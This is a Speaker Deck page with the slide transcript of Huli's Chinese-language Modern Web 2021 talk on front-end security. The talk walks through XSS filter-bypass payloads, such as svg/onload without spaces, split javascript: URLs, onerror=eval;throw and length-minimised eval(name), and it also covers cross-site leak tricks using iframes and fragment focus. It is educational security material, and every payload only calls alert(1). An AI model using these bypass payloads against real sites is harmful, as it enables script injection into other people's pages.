Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
接觸資安才發現前端的水真深 - Modern Web 2021
Search
Huli
October 15, 2021
Technology
0
1.8k
接觸資安才發現前端的水真深 - Modern Web 2021
接觸資安才發現前端的水真深 - Modern Web 2021
Huli
October 15, 2021
Tweet
Share
More Decks by Huli
See All by Huli
ModernWeb 2018 - 輕鬆應付複雜的非同步操作:RxJS + Redux Observable
aszx87410
0
110
Attacking web without JS - CSS injection
aszx87410
0
2.8k
Front-end Security that Front-end developers don't know
aszx87410
2
5.4k
你懂了 JavaScript,也不懂 JavaScript - MOPCON 2021
aszx87410
3
860
JSDC2020 - 用 API mocking 讓前端不再苦等待
aszx87410
0
1.2k
Other Decks in Technology
See All in Technology
TechFeed Experts Night#27 〜 フロントエンドフレームワーク最前線 (Svelte)
baseballyama
1
550
推しは推せるときに推せ! プロダクトにフィードバックしていこう
nakasho
0
400
競技としてのKaggle、役に立つKaggle
yu4u
5
2k
Cloud Native Java with Spring Boot (CNCF Aarhus, April 2024)
thomasvitale
1
180
プロトタイピングによる不確実性の低減 / Reducing Uncertainty through Prototyping
ohbarye
5
390
EMとして2023年度に頑張ったこと / What we did well in FY2023 as a EM
pauli
1
180
今日からできる!簡単 .NET 高速化 Tips -2024 edition-
xin9le
5
2k
生産性向上チームの紹介
cybozuinsideout
PRO
1
880
エンジニアのキャリアをちょっと楽しくする3本の軸/Three Pillars to Make an Engineer's Career More Enjoyable
kwappa
0
2.8k
Building a RAG-poweredAI chat appwith Python and VS Code
pamelafox
0
110
障害対応をちょっとずつよくしていくための 演習の作りかた
heleeen
1
320
複雑な構成要素を持つUIとの向き合い方 〜新・支出グラフでの実例〜 / B43 TECH TALK
nakamuuu
0
140
Featured
See All Featured
Robots, Beer and Maslow
schacon
PRO
155
7.9k
Why You Should Never Use an ORM
jnunemaker
PRO
51
8.6k
The Invisible Customer
myddelton
114
12k
What’s in a name? Adding method to the madness
productmarketing
PRO
16
2.6k
The World Runs on Bad Software
bkeepers
PRO
61
6.7k
Thoughts on Productivity
jonyablonski
58
3.8k
The Language of Interfaces
destraynor
151
23k
Become a Pro
speakerdeck
PRO
11
4.5k
Documentation Writing (for coders)
carmenintech
60
3.9k
Six Lessons from altMBA
skipperchong
21
3k
Designing Dashboards & Data Visualisations in Web Apps
destraynor
226
51k
Designing with Data
zakiwarfel
96
4.8k
Transcript
接觸資安才發現前端的⽔水真深 Huli @ Modern Web 2021
About 上半年年:OneDegree 前端⼯工程師
About 上半年年:OneDegree 前端⼯工程師 下半年年:Cymetrics 資安⼯工程師
None
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
XSS
<script> alert(1) </script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Q1 如果把 HTML 中的空格都拿掉 是否還可以⽤用屬性 XSS?
Q1 如果把 HTML 中的空格都拿掉 是否還可以⽤用屬性 XSS?
<svg onload=alert(1)>
<svg/onload=alert(1)>
Q2 如果禁⽌止使⽤用 on 開頭的屬性, 是否還能 XSS?
Q2 如果禁⽌止使⽤用 on 開頭的屬性, 是否還能 XSS?
<iframe/ src="javascript:alert(1)">
Q3 如果把 javascript 開頭的值都濾掉, 是否還能 XSS?
Q3 如果把 javascript 開頭的值都濾掉, 是否還能 XSS?
<iframe/ src="java\tscript:alert(1)">
Q4 如果去除 tab 跟空⾏行行以後去掉 javascript, 是否還能 XSS?
Q4 如果去除 tab 跟空⾏行行以後去掉 javascript, 是否還能 XSS?
<iframe/ src="javascript:alert(1)">
<iframe/ src="javascript:alert (1)">
Q5 如果去除 src 屬性, 是否還能 XSS?
Q5 如果去除 src 屬性, 是否還能 XSS?
<a/ href="javascript:alert(1)">
<script> alert(1) </script>
<script> alert`1` </script>
onerror=alert;throw 1
onerror=eval;throw "=alert\x281\x29"
onerror=eval;throw "=alert\x281\x29" Uncaught 123
onerror=eval;throw "=alert\x281\x29" Uncaught=123
onerror=eval;throw "=alert\x281\x29" Uncaught=alert(1)
None
字數限制
<svg/onload=> 13 字
利利⽤用現有資訊
<svg/ onload= eval(`'`+location)> 13 + 18 = 31 字
a.com#';alert(1) `'` + location => 'a.com#';alert(1)
<svg/ onload= eval(`'`+document.URL)> 13 + 22 = 35 字
<svg/ onload= eval(`'`+document.URL)> 13 + 22 = 35 字 9
個字
<svg/ onload= eval(`'`+URL)> 13 + 13 = 26 字
None
None
Q6 name = 123 typeof name === "number"
Q6 name = 123 typeof name === "number"
example.com window.name
huli.tw window.name
<svg/ onload= eval(name)> 13 + 10 = 23 字
https://tinyxss.terjanq.me/
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
Agenda 1. 繞過各種限制 2. Cross site leaks (XS leak) 3.
其他你不知道的功能
Download 請輸入要搜尋的使⽤用者名稱 example.com/download
Download 請輸入要搜尋的使⽤用者名稱 查無使⽤用者 example example.com/download?q=example
Download 請輸入要搜尋的使⽤用者名稱 a example.com/download?q=a
Download 請輸入要搜尋的使⽤用者名稱 a
然後呢,我們能做什什麼?
Download 請輸入要搜尋的使⽤用者名稱 iframe example.com/download huli.tw
Download 請輸入要搜尋的使⽤用者名稱 iframe example example.com/download?q=example huli.tw
Download 請輸入要搜尋的使⽤用者名稱 iframe example iframe.contentWindow.origin example.com/download?q=example huli.tw
Download 請輸入要搜尋的使⽤用者名稱 iframe a iframe.contentWindow.origin example.com/download?q=a huli.tw
None
example.com/users/123 David id=message 傳送訊息
example.com/users/210 Peter id=add 加入好友
然後呢,我們能做什什麼?
example.com/users/123 David id=message 傳送訊息
example.com/users/123#message David id=message 傳送訊息 focus
iframe example.com/users/123#message huli.tw David id=message 傳送訊息
None
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
example.com/files example.com/blog 上傳各種檔案 放各種⽂文章
example.com/files example.com/blog path: /files path: /blog 上傳各種檔案 放各種⽂文章
example.com/files example.com/blog path: /files path: /blog 放各種⽂文章 <script> alert(1) </script>
files/xss.html
example.com/files example.com/blog path: /files path: /blog 放各種⽂文章 <script> alert(1) </script>
files/xss.html ?
None
None
example.com <embed src=/pdf?token=u7Dh3 ……….
example.com <embed src=/pdf?token=u7Dh3 ………. <script> alert(1) </script>
example.com <embed src=/pdf?token=u7Dh3 ………. <script> alert(1) </script> ?
None
None
Agenda 1. 繞過各種限制 2. side channel attack 3. 其他你不知道的功能
資料來來源 1.https://tinyxss.terjanq.me/ 2.https://xsleaks.dev/ 3.LINE CTF 2021 4.DiceCTF 2021 5.zer0pts CTF
2021
google: cymetrics blog